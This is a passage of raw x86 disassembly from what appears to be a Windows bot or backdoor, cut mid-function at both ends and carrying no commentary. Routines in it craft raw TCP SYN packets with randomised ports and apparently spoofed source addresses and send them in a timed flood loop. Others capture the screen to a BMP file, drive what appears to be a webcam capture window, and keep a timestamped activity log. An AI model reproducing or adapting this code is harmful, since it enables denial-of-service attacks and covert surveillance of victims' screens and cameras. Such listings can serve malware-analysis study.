loc_4153E6:				; CODE XREF: sub_415240+19Bj
		add	esi, 4
		cmp	esi, 70h
		jl	short loc_41537E
		mov	esi, offset dword_4D1560
		push	offset asc_42E0C8 ; " "
		push	esi
		call	sub_41C056
		mov	edi, dword_4280A8
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx


loc_41540E:				; CODE XREF: sub_415240+225j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415467
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_108]
		cmp	eax, ebx
		jz	short loc_415444
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi
		mov	[ebp+var_C], eax
		call	sub_41C056
		add	esp, 10h
		jmp	short loc_41545E
; ---------------------------------------------------------------------------


loc_415444:				; CODE XREF: sub_415240+1EDj
		push	0FFFFh
		push	ebx
		call	sub_418E56
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CDC64	; ntohs
		movzx	eax, ax
		mov	[ebp+var_C], eax


loc_41545E:				; CODE XREF: sub_415240+202j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 1Ch
		jl	short loc_41540E


loc_415467:				; CODE XREF: sub_415240+1DFj
					; sub_415240+45Ej
		push	28h
		push	ebx
		push	offset byte_4D14FC
		call	sub_41BD60
		mov	esi, 0FFFFh
		mov	byte_4D14FC, 45h
		push	esi
		push	400h
		mov	byte_4D1505, 6
		mov	byte_4D14FD, 8
		call	sub_418E56
		add	esp, 14h
		push	eax
		call	dword_4CDC64	; ntohs
		push	28h
		mov	word_4D1500, ax
		call	dword_4CDC64	; ntohs
		or	byte_4D1504, 0FFh
		cmp	dword_4D14F4, ebx
		mov	word_4D14FE, ax
		mov	word_4D1502, bx
		jnz	short loc_4154E7
		push	0FFFEh
		push	1
		call	sub_418E56
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_4154F2
; ---------------------------------------------------------------------------


loc_4154E7:				; CODE XREF: sub_415240+28Bj
		push	offset dword_4D0ED8
		call	dword_4CDCA4	; inet_addr


loc_4154F2:				; CODE XREF: sub_415240+2A5j
		mov	dword_4D1508, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4D150C, eax
		mov	byte_4D151D, bl
		call	dword_4CDC64	; ntohs
		push	esi
		push	ebx
		mov	word_4D151E, ax
		call	sub_418E56
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418E56
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CDC60	; ntohl
		mov	dword_4D1514, eax
		mov	al, byte_4D151C
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4D151C, al
		mov	ax, word ptr [ebp+var_C]
		mov	dword_4D1518, ebx
		mov	word_4D1522, bx
		mov	word_4D1512, ax
		mov	dword_4D1538, edi
		mov	byte_4D153C, bl
		mov	byte_4D153D, 6
		call	dword_4CDC64	; ntohs
		mov	word_4D153E, ax
		mov	ax, word_4D1512
		mov	word_4D1524, 2
		mov	dword_4D1528, edi
		mov	word_4D1526, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_4155A8
; ---------------------------------------------------------------------------


loc_4155A3:				; CODE XREF: sub_415240+438j
		mov	esi, 0FFFFh


loc_4155A8:				; CODE XREF: sub_415240+361j
		cmp	[ebp+var_4], ebx
		push	esi
		push	ebx
		jnz	short loc_4155DC
		call	sub_418E56
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CDC64	; ntohs
		mov	word_4D1510, ax
		mov	eax, dword_4D1508
		mov	dword_4D1534, eax
		mov	byte_4D151D, 2
		mov	dword_4D1518, ebx
		jmp	short loc_4155F9
; ---------------------------------------------------------------------------


loc_4155DC:				; CODE XREF: sub_415240+36Dj
		mov	byte_4D151D, 10h
		call	sub_418E56
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CDC64	; ntohs
		movzx	eax, ax
		mov	dword_4D1518, eax


loc_4155F9:				; CODE XREF: sub_415240+39Aj
		inc	word_4D1500
		inc	dword_4D1514
		mov	ax, word_4D1512
		push	5
		pop	ecx
		mov	esi, offset word_4D1510
		mov	edi, offset dword_4D1540
		mov	word_4D1506, bx
		mov	word_4D1520, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4D14FC
		mov	word_4D1526, ax
		push	esi
		call	sub_40AB6D
		push	20h
		push	offset dword_4D1534
		mov	word_4D1506, ax
		call	sub_40AB6D
		add	esp, 10h
		mov	word_4D1520, ax
		push	10h
		push	offset word_4D1524
		push	ebx
		push	28h
		push	esi
		push	dword_4D1558
		call	dword_4CDCC8	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_4155A3
		call	dword_4280A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4156A3
		push	[ebp+arg_8]
		call	dword_428064	; Sleep
		jmp	loc_415467
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_415240+453j
		pop	edi
		pop	esi
		mov	eax, offset dword_4D1560
		pop	ebx
		leave
		retn
sub_415240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156AD	proc near		; CODE XREF: sub_401B66+70AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43FE18
		mov	edi, 0B8h


loc_4156C1:				; CODE XREF: sub_4156AD+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4156E4
		push	[ebp+arg_0]
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4156E4
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_440998
		jl	short loc_4156C1
		jmp	short loc_415726
; ---------------------------------------------------------------------------


loc_4156E4:				; CODE XREF: sub_4156AD+17j
					; sub_4156AD+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43FE18[esi]
		push	ebx
		call	sub_41BD60
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BDC0
		push	9Fh
		lea	eax, dword_43FE30[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BDC0
		add	esp, 24h
		inc	dword_42A4A8
		pop	ebx


loc_415726:				; CODE XREF: sub_4156AD+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4156AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41572D	proc near		; CODE XREF: sub_401B66+284Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_438DF4
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43FE18


loc_415757:				; CODE XREF: sub_41572D+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415792
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_438DE0
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C150
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 2Ch


loc_415792:				; CODE XREF: sub_41572D+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_440998
		jl	short loc_415757
		pop	edi
		pop	esi
		leave
		retn
sub_41572D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157A5	proc near		; CODE XREF: sub_401252+375p
					; sub_401252+3F6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_428130	; GetLocalTime
		mov	ebx, offset dword_4D5960
		mov	edi, 80h
		mov	esi, offset dword_4D1960


loc_4157C7:				; CODE XREF: sub_4157A5+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4157DE
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_4157DE:				; CODE XREF: sub_4157A5+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4157C7
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C150
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415819	proc near		; CODE XREF: sub_401891+F7p
					; sub_401B66:loc_40898Ep ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C960
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4157A5
		add	esp, 14h
		leave
		retn
sub_415819	endp


; =============== S U B	R O U T	I N E =======================================



sub_415845	proc near		; CODE XREF: sub_401B66+2743p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D1960
		xor	ecx, ecx


loc_41584C:				; CODE XREF: sub_415845+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D5960
		jl	short loc_41584C
		cmp	[esp+arg_C], ecx
		jnz	short loc_41587A
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_438E40
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41587A:				; CODE XREF: sub_415845+19j
		push	offset dword_438E2C
		call	sub_4157A5
		pop	ecx
		retn
sub_415845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415886	proc near		; DATA XREF: sub_401B66+27F6o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_4158D9
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_438E70
		push	eax
		push	[ebp+var_11C]
		call	sub_409982
		add	esp, 14h


loc_4158D9:				; CODE XREF: sub_415886+33j
		cmp	[ebp+var_98], 0
		jz	short loc_4158F9
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4158F9
		mov	[ebp+var_8], eax


loc_4158F9:				; CODE XREF: sub_415886+5Aj
					; sub_415886+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4D1960


loc_415902:				; CODE XREF: sub_415886+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_41595C
		cmp	byte ptr [esi],	0
		jz	short loc_41594B
		cmp	[ebp+var_98], 0
		jz	short loc_415931
		cmp	[ebp+var_4], 0
		jnz	short loc_415931
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_418763
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41594B


loc_415931:				; CODE XREF: sub_415886+90j
					; sub_415886+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_409982
		add	esp, 14h


loc_41594B:				; CODE XREF: sub_415886+87j
					; sub_415886+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D5960
		jl	short loc_415902


loc_41595C:				; CODE XREF: sub_415886+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_438E54
		push	eax
		call	sub_41C056
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_415996
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_409982
		add	esp, 14h


loc_415996:				; CODE XREF: sub_415886+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_4157A5
		push	[ebp+var_18]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_415886	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159B5	proc near		; CODE XREF: sub_401B66+71F0p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CDC50	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_415BE9
		push	8
		push	edi
		call	dword_4CDC6C	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CDC6C	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CDC6C	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_415A17
		push	18h
		push	edi
		call	dword_4CDC6C	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415A19
; ---------------------------------------------------------------------------


loc_415A17:				; CODE XREF: sub_4159B5+50j
		xor	ebx, ebx


loc_415A19:				; CODE XREF: sub_4159B5+60j
		push	edi
		call	dword_4CDCB0	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_415BCE
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CDCA8	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_415BD9
		push	eax
		push	[ebp+var_4]
		call	dword_4CDB34	; SelectObject
		cmp	eax, esi
		jz	loc_415BD9
		cmp	eax, 0FFFFFFFFh
		jz	loc_415BD9
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CDCAC	; BitBlt
		test	eax, eax
		jz	loc_415BD9
		cmp	ebx, esi
		jz	short loc_415AD6
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CDB88	; GetDIBColorTable
		mov	ebx, eax


loc_415AD6:				; CODE XREF: sub_4159B5+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_415BB9
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	dword_4280E0	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	dword_4280E0	; WriteFile
		cmp	ebx, esi
		jz	short loc_415B9B
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	dword_4280E0	; WriteFile


loc_415B9B:				; CODE XREF: sub_4159B5+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	dword_4280E0	; WriteFile
		push	[ebp+arg_0]
		call	dword_42806C	; CloseHandle
		xor	esi, esi
		inc	esi


loc_415BB9:				; CODE XREF: sub_4159B5+1A2j
		push	[ebp+var_1C]
		call	dword_4CDBC0	; DeleteObject
		push	[ebp+var_4]
		call	dword_4CDB20	; DeleteDC
		mov	edi, [ebp+var_20]


loc_415BCE:				; CODE XREF: sub_4159B5+70j
		push	edi
		call	dword_4CDB20	; DeleteDC
		mov	eax, esi
		jmp	short loc_415BEB
; ---------------------------------------------------------------------------


loc_415BD9:				; CODE XREF: sub_4159B5+C7j
					; sub_4159B5+D9j ...
		push	edi
		call	dword_4CDB20	; DeleteDC
		push	[ebp+var_4]
		call	dword_4CDB20	; DeleteDC


loc_415BE9:				; CODE XREF: sub_4159B5+23j
		xor	eax, eax


loc_415BEB:				; CODE XREF: sub_4159B5+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4159B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BF0	proc near		; CODE XREF: sub_401B66+7317p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D5960
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CDBB4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415C2E
		mov	eax, esi
		jmp	loc_415DE4
; ---------------------------------------------------------------------------


loc_415C2E:				; CODE XREF: sub_415BF0+35j
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415C4B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CDCC0	; SendMessageA
		jmp	short loc_415C4D
; ---------------------------------------------------------------------------


loc_415C4B:				; CODE XREF: sub_415BF0+47j
		xor	eax, eax


loc_415C4D:				; CODE XREF: sub_415BF0+59j
		cmp	eax, ebx
		jnz	short loc_415C58


loc_415C51:				; CODE XREF: sub_415BF0+88j
					; sub_415BF0+BCj
		mov	ebx, esi
		jmp	loc_415DD9
; ---------------------------------------------------------------------------


loc_415C58:				; CODE XREF: sub_415BF0+5Fj
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415C75
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415C75:				; CODE XREF: sub_415BF0+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415C51
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_415C9B
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_415C9E
; ---------------------------------------------------------------------------


loc_415C9B:				; CODE XREF: sub_415BF0+98j
		mov	[ebp+arg_4], ebx


loc_415C9E:				; CODE XREF: sub_415BF0+A9j
		push	[ebp+arg_4]
		call	sub_41BCA5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415C51
		push	[ebp+arg_4]
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_415CC5
		xor	ebx, ebx
		inc	ebx
		jmp	loc_415DD9
; ---------------------------------------------------------------------------


loc_415CC5:				; CODE XREF: sub_415BF0+CBj
		push	[ebp+var_4]
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415CE2
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA


loc_415CE2:				; CODE XREF: sub_415BF0+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	near ptr sub_41CAE0
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415CFD
		mov	ecx, 280h


loc_415CFD:				; CODE XREF: sub_415BF0+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415D09
		mov	eax, 1E0h


loc_415D09:				; CODE XREF: sub_415BF0+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_415D53
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA


loc_415D53:				; CODE XREF: sub_415BF0+153j
		push	[ebp+var_4]
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415D70
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA


loc_415D70:				; CODE XREF: sub_415BF0+16Ej
		push	[ebp+var_4]
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415D8F
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA


loc_415D8F:				; CODE XREF: sub_415BF0+18Bj
		push	[ebp+var_4]
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415DAC
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA


loc_415DAC:				; CODE XREF: sub_415BF0+1AAj
		push	[ebp+var_8]
		call	sub_41B881
		push	esi
		call	sub_41B881
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415DD9
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CDCC0	; SendMessageA


loc_415DD9:				; CODE XREF: sub_415BF0+63j
					; sub_415BF0+D0j ...
		push	[ebp+var_4]
		call	dword_4CDD14	; DestroyWindow
		mov	eax, ebx


loc_415DE4:				; CODE XREF: sub_415BF0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DE9	proc near		; CODE XREF: sub_401B66+73D3p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D5960
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CDBB4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415E27
		mov	eax, esi
		jmp	loc_416023
; ---------------------------------------------------------------------------


loc_415E27:				; CODE XREF: sub_415DE9+35j
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415E44
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CDCC0	; SendMessageA
		jmp	short loc_415E46
; ---------------------------------------------------------------------------


loc_415E44:				; CODE XREF: sub_415DE9+47j
		xor	eax, eax


loc_415E46:				; CODE XREF: sub_415DE9+59j
		cmp	eax, ebx
		jnz	short loc_415E51


loc_415E4A:				; CODE XREF: sub_415DE9+8Bj
					; sub_415DE9+BCj
		mov	ebx, esi
		jmp	loc_41601A
; ---------------------------------------------------------------------------


loc_415E51:				; CODE XREF: sub_415DE9+5Fj
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415E71
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415E71:				; CODE XREF: sub_415DE9+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415E4A
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415E94
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CDCC0	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_415E97
; ---------------------------------------------------------------------------


loc_415E94:				; CODE XREF: sub_415DE9+96j
		mov	[ebp+arg_4], ebx


loc_415E97:				; CODE XREF: sub_415DE9+A9j
		push	[ebp+arg_4]
		call	sub_41BCA5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415E4A
		push	[ebp+arg_4]
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_415EBE
		xor	ebx, ebx
		inc	ebx
		jmp	loc_41601A
; ---------------------------------------------------------------------------


loc_415EBE:				; CODE XREF: sub_415DE9+CBj
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415EDB
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CDCC0	; SendMessageA


